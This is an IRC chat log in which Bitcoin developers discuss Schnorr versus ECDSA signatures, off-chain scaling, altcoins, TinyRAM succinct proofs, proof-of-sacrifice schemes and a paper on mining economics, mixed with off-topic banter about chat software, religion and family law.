19:55 < gmaxwell> BlueMatt: nah, it gets triggered even if you don't comment if you view a couple videos in a row
19:55 < BlueMatt> lol, wow...
19:57 < gmaxwell> It also helps to be in an office with a couple other google+ refuseniks... since you can share mechenisms for getting around it. though there seems to be no workaround for some things. E.g. no way to do hangouts.
19:57 < gmaxwell> so we have a sacrifical mac in the office for hangouts access that has its own dummy account.
19:57 < BlueMatt> or you could just have a dummy g+ account on your google account, its not like you have to use it
19:57 < BlueMatt> you just get counted as a g+ "active" user
20:01 < K1773R> there should just be a way to opt out...
20:10 < Luke-Jr> gmaxwell: therefore, discourage people from doing Hangouts
20:11 < Luke-Jr> gmaxwell: Google Apps which upgrade to Hangouts lose XMPP interoperability -.-
20:16 < jgarzik> Hangouts > Skype
20:16 < sipa> hangouts <-> XMPP works fine, as long as you don't do groupchats
20:16 < sipa> unsure about federation though
20:23 < gmaxwell> Luke-Jr: it's hard to discourage google employees from using hangouts. :P
20:30 < Luke-Jr> gmaxwell: "you won't be able to talk to me" works for me
20:30 < Luke-Jr> jgarzik: two bad choices don't make the lesser bad a good one
20:31 < Luke-Jr> there are open standards for all this; Google just doesn't care apparently
21:32 < jgarzik> XMPP is exceeding lame
21:33 < jgarzik> and I speak from experience, having coded solutions for it back when it was called Jabber
21:34 < jgarzik> It's hard to fault people for avoiding a lame standard
21:37 < Luke-Jr> jgarzik: it's better than none at all
21:38 < phantomcircuit> xmpp is pretty horrible
21:38 < jgarzik> http://gigaom.com/2011/06/30/google-hangouts-technology/
21:39 < jgarzik> I cannot find any open protocol docs, but it does use several open techs
21:39 < jgarzik> XMPP is not meant for real time multi stream audio+video
21:47 < BlueMatt> was there a bug in a recent satoshi client that allows it to forward vin empty txn?
21:48 < phantomcircuit> BlueMatt, yeah there is
21:48 < phantomcircuit> or was
21:48 < phantomcircuit> i cant remember if it was fixed
21:49 < Luke-Jr> jgarzik: SIP is
21:50 < jgarzik> phantomcircuit, not sure if it was fixed... I think it was tracked down to $something wound up writing an all-zeroes transaction to the wallet, or somesuch.
21:51 < phantomcircuit> jgarzik, oh i think i found it
05:04 < Luke-Jr> all recorded Church teaching is consistent with current Church teaching
05:05 < petertodd> As in, in my model I'm saying Catholic teaching can change in reality, but of course everyone knows it doesn't, therefore any inconsistencies are obviously imperfect records of the past. (I jest obviously)
05:05 < Luke-Jr> except there are no historical records to support that
05:06 < petertodd> Luke-Jr: it's a joke!
05:06 < Luke-Jr> jokes are supposed to be funny.
05:06 < petertodd> Luke-Jr: funny is subject to consensus problems :p
05:07 < petertodd> proof-of-comedy would be an aweful way to do an alt-coin...
05:09 < petertodd> anyway, in all seriousness, my other point is you don't want a standard based on "the best interests of the child" because you want diversity in society. For instance, you could make an argument that homeschooling isn't in "the best interests of the child" and stop parents from doing so, when we're much better off having that diversity in society.
05:11 < petertodd> The right approach is "Does this cause sufficient provable harm that we can't accept it?"
05:13 < petertodd> on topic: WTF is with 122.108.150.47, it reports nServices as 00002017
05:14 < petertodd> Five bits set in total.
05:18 < Luke-Jr> petertodd: not quite. the problem is that the question doesn't exist.
05:18 < Luke-Jr> governments do not have *jurisdiction* over child custody/care
05:19 < Luke-Jr> they have no grounds to even set any standard at all
05:20 < Luke-Jr> so even if it can be demonstrated that Joe Parent's way of raising his children is harmful, nobody has the authority to kidnap his children
05:21 < petertodd> ok, so can I murder my own kids?
05:22 < Luke-Jr> hopefully someone would stop you
05:22 < petertodd> indeed, maybe someone paid by my tax dollars
05:23 < Luke-Jr> maybe
05:23 < Luke-Jr> they still can't kidnap your children, though
05:23 < Luke-Jr> and if you actually succeed in killing one, you're then a criminal who can be locked up
05:23 < petertodd> ah, see, now that could be closer to a reasonable standard: if it's not behavior that would get the parents criminal charges, maybe the state should keep it's hands off
05:25 < Luke-Jr> actually, on that note, that's part of why the US is as bad as it is
05:25 < Luke-Jr> since there's no criminal charges filed, they never have to prove anything
05:25 < petertodd> that's a very good point
05:25 < petertodd> child protection actions should absolutely be held to standards of due process
05:40 < adam3us> luke-jr: btw i wasnt saying move to .ch i was saying put your money there and declare it on your US tax form, in that way your funds are protected from US court decisions, the swiss model is they have jurisdictional authority and do not accept foreign courts and law enforcement unproven claims, they require to see the proof
05:41 < adam3us> luke-jr: and the activity has to be illegal by swiss laws, not by foreign laws - and their laws are generally more sensible, and more fairly interpreted with less risk of political interference
05:41 < adam3us> luke-jr: of course I wouldnt doubt the US law enforcement would present outright forged evidence to try get their way if they were worked up enough
05:43 < adam3us> back on topic: posted some crypto comments on the mintchip like "othercoin.com" guys thread https://bitcointalk.org/index.php?topic=321085.msg3440818#msg3440818
05:44 < adam3us> i think its far more efficient and he doesnt need crypto hw accel that he's giving up openness and signing NDAs to get access to
05:44 < adam3us> and probably 10x the hw cost for also
05:45 < petertodd> interesting
05:46 < petertodd> what's available for open source smartcard devel?
05:46 < petertodd> when I looked I couldn't find remote attestation, so you'd be stuck with a trusted distributor
05:46 < adam3us> retep: brands is a genius :) u dont need anything much to do the observer part
05:47 < petertodd> ?
05:47 < adam3us> retep: just cx+w mod n (one 256-bit mod mul, one 256-bit add these are integers not point ops)
05:47 < adam3us> retep: that can be done in software, now crypto accel on an 8-bit card in a timely fashion; about hw tamper resistance i am not sure
05:47 < adam3us> retep: correction now=no
05:49 < petertodd> right, but these cards are stuck implementing ECDSA exactly like bitcoin needs, there's no alternative
05:49 < adam3us> retep: to my way of thinking, relying on the good behavior of a hw manufacturer central or a small pool is the antithesis of user controlled blockchain security, and its not far removed from an AES encrypted balance and MAC msgs flowing between cards with a shared key
05:50 < petertodd> (other than revealing d and locking coins to H(d), but that doesn't have verifiability)
05:50 < adam3us> retep: is there anyway we could get EC schnorr sigs deployed w/out a hrd fork
05:50 < petertodd> yeah, we can add anything we damn well want in a soft-fork
05:50 < adam3us> i'll volunteer to implement EC schnorr and write the BIP
05:50 < petertodd> it's not going to happen for a long time
05:50 < adam3us> there are dozens of wins from schnorr over the wretched DSA
05:51 < adam3us> eg k of n, n o n sigs in teh space of one sig
05:51 < petertodd> all of which don't matter because even I don't know what you're talking about :P
05:51 < adam3us> blding etc
05:51 < petertodd> we can't even get people to support p2sh... asking for new sig methods is hopeless in the near future
05:51 < adam3us> retep: schnorr is better and enables many things; dsa is a cheap and inferior knock off of schnorr
05:52 < petertodd> as I say, it's completely irrelevant because the politics of changing anything in bitcoin is a nightmare
05:52 < petertodd> go propose it to litecoin instead
05:52 < adam3us> retep: i started out anti-alt-coin, but the more i see this kind of thing, the more its weakening that reasoning
05:52 < petertodd> yup
05:52 < adam3us> retep: i prefer the bitcoin staging approach to lite-coin
05:52 < petertodd> I'd give it 50:50 that you could get that implemented in litecoin in, say, two years
05:53 < petertodd> bitcoin staging is hopeless because there's no financial incentive, litecoin is your bitcoin staging
05:53 < adam3us> retep: why dilute the digital scarcity with a param tweak if you're not even one of the first week "soft premine" winners
05:55 < adam3us> retep: i just mean its destructive of the meaning of digital scarcity, to lend support to param tweaks like litecoin, if you want to o it, i think do it with the bitcoin-staging mechanism with or without foundation buyin
05:55 < petertodd> meh, we can live with one tweak
05:55 < adam3us> retep: as that retains the 21 mil coin cap and doesnt start a fresh gold-rush
05:56 < adam3us> retep: yes we could but its partly a matter of principle: why should we enrich a bunch of param-tweakers, just because bitcoin itself cant change quickly due to security validation risks of soft forks/hard forks, hence bitcoin staging
05:56 < petertodd> destructive or not, doing stuff in litecoin is viable, and has the advantage that the competition can induce bitcoin to actually change
05:57 < petertodd> anyway, go write the code! we can figure out how exactly to deploy it later
05:57 < adam3us> retep: scrypt(1) is broken for its design objectives... its even a bad param tweak - its not even memory hard
05:57 < petertodd> all this stuff is the exact same codebase
05:57 < petertodd> who cares? litecoin exists and has ameniable politics
05:58 < adam3us> retep: true
05:59 < adam3us> retep: maybe the observer proto can be made to work with ECDSA but i am not looking forward to the slog of figuring out if or how, it just seems so stupid to be using DSA given the multple clear advantages of Schnorr were its all trivial
05:59 < petertodd> explain the observer protocol?
06:03 < adam3us> retep: so with schnorr, similarly to dsa, the signature is computed all mod n not group values (except for the initial witness r=kG in DSA and analogus a=kG in schnorr)
06:04 < petertodd> right
06:05 < adam3us> retep: so in ECDSA sig is r,s where r = R.x from R=kG, and s=k^-1(H(m)+rd) mod n where in EC Scnorr: sig is a,s: a=R.x, s=k+H(a,m)d mod n
06:06 * Luke-Jr ponders why adam3us is using retep for petertodd
06:06 < petertodd> Luke-Jr: it's backwards day
06:06 < adam3us> retep: verification is ECDSA sR=?H(m)*G+rQ in ECSchnorr its rG =? A+cQ whre c = H(a,m)
06:06 < petertodd> right
06:06 < Luke-Jr> ?yllaer
06:06 < adam3us> luke-jr: he has a ridiculously long handle & ive been typing too uch and its his bitcointalk handle :)
06:07 < Luke-Jr> adam3us: .. you don't have a real IRC client? :p
06:07 < petertodd> don't you have copy-n-paste?
06:07 < Luke-Jr> pe<tab> is sufficient
06:07 < adam3us> luke-jr: its pidgin and i am a irc client n00b so i am probably missing existing features
06:07 < petertodd> BTW, I prefer to be called by my full name: peterkevin-georgetoddthethird
06:08 < adam3us> petertodd: (hot damn thanks luke-jr TAB works)!
06:08 < petertodd> (or if you're british: thehonorablepeterkevin-georgetoddthethird
06:08 < Luke-Jr> didn't IRC have a 7 character limit to nicks? or was it 11?
06:08 < Luke-Jr> <.<
06:08 < petertodd> Luke-Jr: it got turned up to 11
06:09 < adam3us> petertodd: ok so the interesting thing about schnorr is there is no dreaded k^-1 factor so its easy to do 2 of 2.. just add the k & c*d contributions together, DONE!
06:09 < warren> <petertodd> destructive or not, doing stuff in litecoin is viable, and has the advantage that the competition can induce bitcoin to actually change
06:09 < warren> <---- has already happened
06:10 < warren> <adam3us> retep: scrypt(1) is broken for its design objectives... its even a bad param tweak - its not even memory hard
06:10 < adam3us> petertodd: now observer, because of the flexibility there is a DL generalization called the representation problem instead of Q=xG you can have Q=xG+yH for two generators G & H whic no one kows the DLof
14:21 < CodeShark> throwing more hardware at making bitcoin scale seems to encourage greater centralization, though
14:22 < adam3us> maaku: anyway the comment was part of some wide-ranging what-ifs i tried to isolate the dependency bitcoin puts on mining, and it turns out there are multiple entangled reasons
14:22 < petertodd> yes, but bitcoin will easily survive having transactions gradually become more expensive
14:23 < nsh> "There are levels of survival we are prepared to accept." -The Architect.
14:23 < petertodd> nsh: transactions already actually cost like $50 each; fees can go up a hell of a lot
14:24 < CodeShark> $50 each?!?!?
14:24 < nsh> hmm
14:24 < CodeShark> are you talking about international wire transfers, petertodd? :)
14:24 < petertodd> CodeShark: yup. total new bitcoins created out of thin air * $/BTC / # of transactions = $50
14:24 < adam3us> there are multiple paths to policy neutrality: actual decentralization, moderately central nodes having insufficient info to do policy (committed tx)
14:25 < adam3us> petertodd: yeah but thats a point in time description allocating all of reward to tx fees; as number of tx increases and reward decreases the cost/tx falls
14:25 < CodeShark> petertodd: I don't follow - block rewards don't cost the parties transacting bitcoins
14:26 < CodeShark> it has a small inflationary effect, perhaps
14:26 < CodeShark> but that affects everyone
14:26 < petertodd> adam3us: sure, but the point is the *economics* are such that bitcoin works at a real cost of $50/tx, which implies that the core usage of bitcoin is as a store-of-value/speculation
14:27 < petertodd> adam3us: maybe it'd start to get ugly at $10/tx, but we can certainely survive $1/tx
14:27 < CodeShark> petertodd: so you're saying that each transaction spreads a cost of $50 amongst all holders of bitcoins?
14:28 < adam3us> petertodd: seems like the reward is the reward, its just a distribution mechanism/bootstrap mechanism. i dont see a reason to equate it to tx cost at current tx rates
14:28 < petertodd> CodeShark: no, I'm saying the cost to run the whole bitcoin system is $50/transaction
14:28 < maaku> petertodd: that's saying subsidy is $50/transaction
14:28 < CodeShark> petertodd: who foots the bill?
14:28 < petertodd> CodeShark: that's not to say the *marginal* cost of a transaction is $50, but it strongly suggests that much higher fees are economically feasible
14:28 < adam3us> petertodd: the supposition is that % of income from mining crosses over as tx # increase so that fees take over as reward tapers
14:29 < petertodd> adam3us: exactly, and given the system functions just fine with a huge fixed cost, making that into a marginal cost is likely fine to a first approximation - my main worry is actually off-chain systems being *too good* and not supporting miners enough
14:30 < petertodd> adam3us: but we probably have ~10 years before that's a big deal...
14:30 < adam3us> so far no one made a remotely plausible off chain anything other than TDs micropaymens channel but thats point to point so its just a way to avoid aborts on a tab
14:31 < petertodd> adam3us: micropayment channels are *not* off-chain, don't call them that
14:31 < maaku> adam3us: freimarkets
14:31 < petertodd> adam3us: and I'd say fidelity bonded banks, especially w/ trusted hardware, are perfectly plausible, they just won't happen unless fees make them happen
14:31 < maaku> but i think you have some confusion over what off-chain is
14:31 < adam3us> maaku: isnt freimarkets on chain (on freicoin or other coin)
14:32 < adam3us> petertodd: there you go that is off-chain
14:32 < petertodd> adam3us: I think you a word
14:32 < maaku> adam3us: private accounting servers (with atomic transfers with the public chain, including bitcoin) are part of the spec
14:32 < adam3us> maaku: off-chain is like not on-chain ;;)
14:33 < maaku> and i'd count open transactions too
14:33 < adam3us> maaku: yeah you could say chris odom open transactions is focussing on off-chain
14:33 < adam3us> maaku: the problem is all the off-chain stuff i've seen loses fundamentaly 1 or 2 important and useful bitcoin functions
14:34 < maaku> well the key part is how value is moved on and off chain
14:34 < maaku> chris only figured that out with his "holy grail" voting pools
14:34 < maaku> which still aren't implemented, i think
14:34 < maaku> adam3us: if it didn't lose bitcoin functionality, it'd replace bitcoin entirely
14:35 < adam3us> maaku: or what properties are left once you have the coin in some offchain situation. eg what OT tokens backed in bitcoin? thts not going to be as secure, nor distributed etc
14:35 < petertodd> adam3us: and to that, so what? losing my $100 morning coffee slush funds every once in a while isn't a big deal
14:35 <@gmaxwell> :( https://github.com/spesmilo/electrum/issues/512
14:36 < maaku> let me rephase ... you can't expect an off-chain solution to be better or equal to bitcoin in every way, or else it will be strictly speaking better (off-chain scales better), so what are we doing?
14:36 < petertodd> gmaxwell: huh? every time you make a paymen tto an address it goes into the "used" bin and gets hidden
14:37 < adam3us> maaku: well itd be nice to minimize the feature loss offchain. maybe its possible to not give up anything even. we can at least try with that objective
14:38 < petertodd> adam3us: don't let perfect be the enemy of good enough
14:38 < maaku> adam3us: well i'm on board with that. recognizing that the goal is something we weill probably never achieve (and if we did we'd replace bitcoin entirely)
14:38 < adam3us> maaku: eg say btc gets to minimum amount of $10k on chain, perhaps a solution is multiple side-chains and atomic swaps into the main chain for example
14:38 < maaku> but shoot for the moon and you'll at least land among the stars
14:39 < adam3us> maaku: i just like to understand clearly the requirements (rather than think in terms of the artefacts of the current system) not all of the artefacts may be actual fundamental limitations
14:39 < maaku> who knows what the minimal, least impactful features are that we'd have to give up, so might as well try to keep them all
14:41 < CodeShark> atomic swaps would also permit a fully decentralized cryptocoin exchange :)
14:41 < adam3us> maaku: yeah well so far all my design rejigging attempts ended up making something worse, its definitely hard; seems like bitcoin only-just-works, and its multiple features so inter-dependent on mining its hard to modify anything
14:42 < maaku> CodeShark: what's the value of having more than 1-2 decentralized currencies? :P
14:42 < adam3us> CodeShark: this is true; somewhat. you also need script extension to have non-stalling (otherwise people will stuff the order book to manipulate price with cryptocoins they have no actual intention of selling). ie so you can take the ask, by definition by satisfying its price
14:43 < CodeShark> maaku: there are different use cases where different features might be more/less desirable - economic parameters, confirmation times, etc...
14:43 < adam3us> maaku: i think one digital scarcity definition (bitcoin) is the limit,
14:43 < adam3us> CodeShark: they are mostly excuses for me-too-coins aka pump & dumps with no transactions and so no intrinsic value
14:44 < maaku> CodeShark: I challenge you to come up with one real example that isn't better served by some other off-chain solution
14:44 < petertodd> gmaxwell: oh hang on, just tried that myself... weird, recv addr list not getting repopulated, yeah, that's a WTF
14:44 < petertodd> gmaxwell: recent bug I think
14:44 < adam3us> bitcoin-staging with 1:1 peg (as discussed a few days ago by BlueMatt & gmaxwell) is the answer IMO
14:45 < CodeShark> adam3us: I'm familiar with that argument - and while true that all the alt coins are essentially bitcoin ripoffs, I see it differently - I think the parameters Satoshi chose for bitcoin are completely arbitrary - what's not arbitrary is the block chain concept as a decentralized timestamping mechanism. why should we get stuck on a specific set of arbitrary parameters?
14:45 < adam3us> anyone not doing that needs their pump & dump sabotaging financially of via mining difficulty attacks
14:45 < maaku> adam3us: in my view changing the nature of the decentralized money is the only valid reason to try a different coin (like we've done with freicoin, and I'm sure there are other possible variations)
14:45 < maaku> but changing interblock time, proof of work algorithm, subsidy algorithm, etc. has ~zero real world benefit
14:45 <@gmaxwell> CodeShark: they aren't completely arbritary, as alts have been created which only changed the "arbritary" ones and turned into fireballs as a result.
14:45 < adam3us> maaku: yes freicoin actually and namecoin are not param tweaks
14:46 < adam3us> CodeShark: yeah satoshi clearly but extensive modeling into the params; pretty much all alts are outright worse
14:47 < CodeShark> adam3us: Satoshi is the wright brothers and bitcoin is the first powered airplane.
14:47 < petertodd> CodeShark: and our job as bitcoin developers is to upgrade that airplane to a modern Boeing 787, without landing
14:48 < andytoshi> gmaxwell: i saw that comment on #bitcoin too, i left
14:48 < andytoshi> idk how you can tolerate so much of that channel at once
14:48 < nsh> my secret is copious consumption of crack cocaine
14:48 < petertodd> andytoshi: my contacts at the vatican say greg's getting canonized when he kicks the bucket
14:49 < maaku> CodeShark: you know the wright brothers spent years in their private wind tunnel perfecting their airplane before it ever flew ;)
14:49 < adam3us> CodeShark: like i said i think param tweak alts that try to start a new race are pump & dumps; and if one did come along that got real transactions, it would rise to instead be dangerous to the confidence in digital scarcity which is too valuable a new concept jeopardize with toy pump & dumps
01:12 < realazthat> I remember the data structure
01:12 < midnightmagic> google also leaves out the wooledge bash wiki when you goog for bash questions. never understood that.
01:12 < realazthat> from a quick scan of the paper, and remembering his video, he was very into testing random graphs
01:12 < realazthat> and that is suspicious right off the bat
01:13 < realazthat> because random graphs are easy
01:13 < realazthat> its suprisingly hard to get random hard problems
01:13 < Luke-Jr> midnightmagic: http://www.youtube.com/watch?v=kLueWNsYRno
01:13 < realazthat> one common way is to do RSA => SAT => HAM
01:13 < realazthat> and those fail all the solutions to HAM
01:13 < realazthat> and if they don't, well then you can profit :D
01:14 < realazthat> ah yeah
01:14 < realazthat> thats *awesome* vid
01:14 * realazthat is eagerly awaiting codes
01:15 < Luke-Jr> the more I think about it, the more I convince myself it's impossible
01:15 < realazthat> lol
01:15 < realazthat> I haven't gone through the math
01:15 < realazthat> I prolly wouldn't understand it
01:15 < Luke-Jr> is the math actually published yet?
01:15 < gmaxwell> Luke-Jr: there is basically a decade of papers behind this one.
01:15 < realazthat> mmm I think gmaxwell was saying he was gonna publish "tomorrow" a while back
01:15 < gmaxwell> The most important are the PCP from graph coloring problems papers, and the tinyram paper.
01:16 < realazthat> I haven't even begun to think applications yet
01:16 < realazthat> it is exciting :/
01:16 < Luke-Jr> gmaxwell: do they make sense to you? <.<
01:18 < zooko> I consider this more of a novelty than an important result, but: http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1773169
01:18 < gmaxwell> Luke-Jr: I can follow parts of the math, not all of it.
01:18 < Luke-Jr> gmaxwell: enough that you can vouch for it being possible?
01:18 < gmaxwell> http://eprint.iacr.org/2012/071.pdf < in any case, this is the paper to start research from right now.
01:19 < gmaxwell> Luke-Jr: oh yea, sure it's possible. Although the succinct proofs are not sound, they're only secure against a computationally bounded attackers. (like cryptographic security)
01:20 < gmaxwell> If you accept proofs which are polynomial in the amount of computations these systems can produce sound proofs, ones which can't be forged even if the attacker is not computationally bounded.
01:21 < gmaxwell> In addition to that paper, there is a earlier paper by Eli about RS codes over finite fields which is important to understand how the proofs are made succinct.
01:22 < realazthat> mmm so this seems to be a somewhat good solution to untrusted hardware perhaps, as well, no?
01:22 < realazthat> was that mentioned somewhere?
01:22 < Luke-Jr> gmaxwell: what stops me from simply redefining a crucial x86 opcode? ;p
01:22 < gmaxwell> realazthat: Yes, eli pointed that out specifically in discussion.
01:22 < realazthat> ok
01:23 < Luke-Jr> then it will run the same code, but produce a different result..
01:23 < gmaxwell> Luke-Jr: well, you're not executing x86 but instead "tinyram" which is a instruction set that has ~24 opcodes.
01:23 < Luke-Jr> hmm
01:24 < Luke-Jr> so the feature is an integrated part of an emulated CPU basically
01:24 < Luke-Jr> and I presume it has some way to stop me from redefining one of the 24 opcodes?
01:24 < gmaxwell> (add/mul/sub/and/or/xor/shal/shr/not/mov/cmp*/jmp/load/store)
01:25 < realazthat> if you redefine it, the signature will obviously not verify your output to the program
01:26 * Luke-Jr ponders a good way to distract himself from the urge to pester CareBear\ about his copyright issues so he can release BFG 3.1.0 already <.<
01:30 < midnightmagic> Luke-Jr: at a certain point, I'm not going to be able to resist an eve:online reference about carebear tears. :)
01:30 < Luke-Jr> midnightmagic: O.o
01:30 < Luke-Jr> aha, games
01:30 < Luke-Jr> that's how I cna distract myself
01:30 < petertodd> games? you mean like making cryptocurrencies?
01:31 < Luke-Jr> I mean like freeciv
01:31 < petertodd> well, you combined the two...
01:31 < gmaxwell> go try to read that paper. :P (of course, you'll need to go read the ones it references...)
01:31 < Luke-Jr> I did!
01:31 < Luke-Jr> my freeciv has a Cryptocurrency technology :P
01:31 < gmaxwell> that was pretty cool.
01:33 < petertodd> gmaxwell: usually I can pretend I have a real degree, reading that paper is not one of those times
01:34 < Luke-Jr> petertodd: you say that as if degrees have value!
01:34 < gmaxwell> One way of thinking about the proofs is that a reed-solomon code lets you efficiently verify the validity of data. Their work lets you use an RS code to verify that arbritary boolean constraints for data are true... then they run the program and create a transcript of the execution,
01:35 < gmaxwell> and reduce the program to a boolean set of constraints that only vaid transcripts would match....
01:35 < petertodd> Luke-Jr: heh, first and second year calc/analytics were well worth it, even if I failed the latter
01:35 < petertodd> *analysis
01:35 < Luke-Jr> petertodd: I bet you could have learned it faster on your own ;)
01:35 < petertodd> gmaxwell: I now have to recursively evaluate reed-solomon codes...
01:35 < gmaxwell> they apply an RS code to the result, and are able to then send only part of the RS code output, along with a proof that the constraints match the program, and a proof that the RS coded transcript matches the constraints.
01:36 < petertodd> Luke-Jr: No actually, absolutely not. The analysis part of the math I did take was by far the hardest thing I've ever done and there is no way in hell I would have gotten anywhere without uni. I know this because I tried going through the textbook the summer before...
01:37 < gmaxwell> the whole reduction of the programs execution to constraints is pretty tricky thing, it involves passing the execution through a sorting network and then using the sorting computation to create a graph coloring problem.
01:38 < petertodd> gmaxwell: See, I kinda follow that, but not in the sense that I would know if you were bullshitting me.
01:38 < Luke-Jr> lol
01:39 < gmaxwell> petertodd: I can't say that I understand it _that_ much better. I basically understand what they're doing but not in the kind of complete way needed to see problems with it.
01:39 < petertodd> oh lovely: https://www.btproof.com/ yet another timestamper... I think they're all using the blockchain.info API
01:40 < petertodd> gmaxwell: Yeah, as you say, 10 years of research.
01:42 < gmaxwell> also lots of deeply nested stuff, I wouldn't be surprised if no one person working on it really understands the whole thing.
01:43 < petertodd> Mostly true of Bitcoin too, if you include the inner workings of the crypto primitives in that set. (esp. hashing algorithms)
01:44 < gmaxwell> It's true. ... or ... boost. :P
01:46 < petertodd> ...
01:47 < midnightmagic> gmaxwell: That's a really big beard. How long did it take you to grow that badboy?
01:47 < Luke-Jr> lol
01:47 < gmaxwell> midnightmagic: I trim it every couple weeks.
01:47 < gmaxwell> so no idea.
01:48 < gmaxwell> midnightmagic: what picture of me are you looking at?
01:49 < midnightmagic> http://www.youtube.com/watch?v=qgJtaBE6uT8#t=6m1s
01:49 < midnightmagic> That's you waving right?
01:49 < Luke-Jr> lol, gmaxwell is in it? XD
01:49 < Luke-Jr> apparently I'm right in the center of the altcoin Q&A XD
01:49 < gmaxwell> yes, thats me.
01:50 < midnightmagic> cool
01:51 < Luke-Jr> I should have feigned falling asleep when the ripple guy went on and on
01:51 < midnightmagic> lol
01:52 < realazthat> lol
01:53 < midnightmagic> Luke-Jr: http://www.youtube.com/watch?v=fZ85cssgDmI#t=0m29s ah there you are.
01:53 * midnightmagic is growing sadder and sadder to have missed out
01:53 < gmaxwell> midnightmagic: yea, you suck. People asked about you multiple times.
01:53 < midnightmagic> aww
01:53 < Luke-Jr> midnightmagic: can't say we didn't try!
01:54 < midnightmagic> no sure can't.
01:54 < zooko> It would have been nice to have met you IRL.
01:54 < midnightmagic> zooko: You too!
01:55 < realazthat> there'll be another one
01:56 < realazthat> prolly
01:56 < realazthat> unless that P=NP paper does pan out after all :P
02:01 < petertodd> jgarzik: was thinking some more on the k-v store idea...
02:01 * zooko 's ears perk up
02:02 < petertodd> jgarzik: So I think the sacrifice specially marked txout needs to be able to back reference *two* prior txouts, and you should store cumulative size in there as well.
02:03 < petertodd> jgarzik: To incentivise small size k-v maps I'm still not sure... If the rule is largest total sacrifice always wins, that doesn't take storage size into account, but if it's value/size, then empty blocks win.
02:04 < petertodd> jgarzik: Probably want something in between, but now you get to pick a constant and... ugh
02:04 * petertodd feels like gavin...
02:04 < petertodd> zooko: did you see the discussion earlier?
02:05 < zooko> petertodd: I did not.
02:06 < petertodd> -wizards needs archives...
02:06 < petertodd> Essentially jgarzik needed a key-value store, and I came up with one based on a proof-of-sacrifice, where the best block is defined by total sacrifice. (roughly speaking)
02:07 * zooko boggles at the concept.
02:07 < petertodd> The trick is, the sacrifices in the Bitcoin blockchain are made to be identifiable, which means that if someone withholds the block associated with a sacrifice, you can be sure your fork wins by just sacrificing more than they did.
02:08 < petertodd> The incentive to build on others blocks, is then simply that you are building on their sacrifices, and in turn that gives an incentive to propagate your blocks.
02:09 < realazthat> I can paste logs
02:09 < petertodd> I've got them too
02:09 < realazthat> ok
02:09 < zooko> Is "proof of sacrifice" explained on the wiki or somewhere?
02:10 < zooko> Welcome, nejucomo. (I invited him.)
17:53 < realazthat> Finally, if you're up to writing a LLVM (or any other compiler) for our TinyRAM spec (which is a very simple and nice virtual machine) we'll be happy to share the spec. It will also go online soon.
17:53 < realazthat> ^^
17:53 < petertodd> Nice!
17:57 < petertodd> Hmm... mind, the problem with my scheme is it's non-recursive; the wager has to be a large fraction of all previous sacrifices... hmm...
18:06 < petertodd> ACtually, no this works: so lets say my sacrifices form a linear list, with a total sacrificed sum at position i of S(i). The rules are now that with propability 1/S(i) I can "cut-the-chain" and do not need to provide the previous link in that list to consider my sacrifice valid.
18:07 < petertodd> The problem is my expected proof size is still long...
18:13 < petertodd> With a tree construction I can keep the proof size small though by picking between n previous sacrifices.
18:17 < petertodd> The other trick, for picking the random number based on the block hash, is you can do a weak proof of work to arbitrarily make it harder to pick the hash. IE run SHA256 n times to make an attacker spend n more resources (in terms of thrown away blocks) to pick the number.
18:20 < petertodd> re: tree, construct a merkle-sum-tree of the prior sacrifices, and randomly pick a single sacrifice out of that n for the one you are required to keep.
18:22 < petertodd> What's interesting, is that provided you have a means to do the commitment and a followup random nonce, you can use this same principle for any proof-of-work system.
18:23 < petertodd> Yet another example of how the very existance of Bitcoin makes Crypto-Magic possible...
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11:27 < amiller_> good morning, it's a great day to be a wizard
11:29 < jgarzik> time for more wizzing
11:47 < petertodd> speaking of, I'm trying to figure out how to model flood fill on a random graph, so really the expected number of nodes reached at time t
11:48 < petertodd> everything I see from google talkes about maximum's... not so useful
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06:48 < HM> the NSA are pretty good at boiling down complex crypto for their presentations
06:48 < HM> and expressing it simply
06:50 < HM> i bet it's a great organisation to work for, just for being exposed to all kinds of interesting work
07:39 < amiller_> my roommate used to work for the NSA but he quit, he says he hated it
07:39 < amiller_> now he is doing a startup company about yoga classes
07:40 < HM> lol
15:58 < midnightmagic> As I understand it, it's pretty universally miserable working at places like the NSA unless you're a particular kind of human, or motivated by some external philosophy.
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13:29 < jgarzik> petertodd, Seen this? "The Economics of Bitcoin Mining
13:29 < jgarzik> or, Bitcoin in the Presence of Adversaries" http://www.weis2013.econinfosec.org/papers/KrollDaveyFeltenWEIS2013.pdf
13:30 < petertodd> interesting!
13:31 < petertodd> IMO we're really going to need some sort of proof-of-stake system in the long run, but it'll inevitably involve a somewhat different security model
13:32 < jgarzik> Edward Felten is pretty well known author
13:32 < jgarzik> never heard of the others
13:33 < petertodd> funny, I'm not sure the authors realize the blockspace is a limited resource
13:35 < petertodd> the authors also don't grasp how difficult it is for SPV nodes to do anything other than put all their faith in PoW, or trust some central authority
13:47 < petertodd> their analysis of transaction fees also doesn't take into account that adding a transaction increases your chance of an orphaned block - IE there is a very real cost, albeit one that varies dramatically and has weird technological and size variables
13:48 < petertodd> re: orphans, given that higher hash rates == lower orphan rates, everything else equal, it implies the right strategy is pool consolidation to allow you to spend less on hardware to lower orphan rates
13:51 < gmaxwell> I'm not convinced that higher hashrate == lower orphans in any meaningful sense until you're at a consolidation level thats already invalidating the security assumptions. (e.g. one party with a third of the hash power)
14:11 < jgarzik> petertodd, The authors seem to think there is a fee market right now, missing the fact that most fees are paid due to hardcoded anti-spam limits
14:18 < jgarzik> "The only way to preserve the system?s health will be to change the rules, most likely either by maintaining mining rewards at a level higher than origi- nally envisioned, or making transaction fees mandatory."
14:18 * jgarzik rolls eyes
14:18 < gmaxwell> 0_o
14:18 < gmaxwell> well petertodd said they didn't sound like they knew that blockspace was a limited resource?
14:19 < jgarzik> gmaxwell, indeed, though I haven't reached that point yet
14:25 < gmaxwell> I can't resist giggling at "making transaction fees mandatory", but if you discard blockspace as a limited resource then I don't know that I could draw any better ones.
14:37 < jgarzik> When reading papers like this, I'm torn between the urge to thank academics for looking at bitcoin? or to flame them for inaccuracies
14:43 < amiller_> this paper gets the wrong euqilibrium analysis
14:43 < amiller_> mine is better
14:43 < amiller_> they basically ignore transaction fees altogether
14:46 < amiller_> rather than looking at how the presence of transactions with fees alters the equilibrium
14:46 < petertodd> well, what I did get from the paper was some math notation to use when I write a better one... :P
14:46 < petertodd> amiller_: link to yours?
14:47 < petertodd> I suspect the overall trust of the idea that security costs money is a good point though - an attacker will spend less than the value they are destroying
14:47 < amiller_> https://gist.github.com/amiller/cf9af3fbc23a629d3084
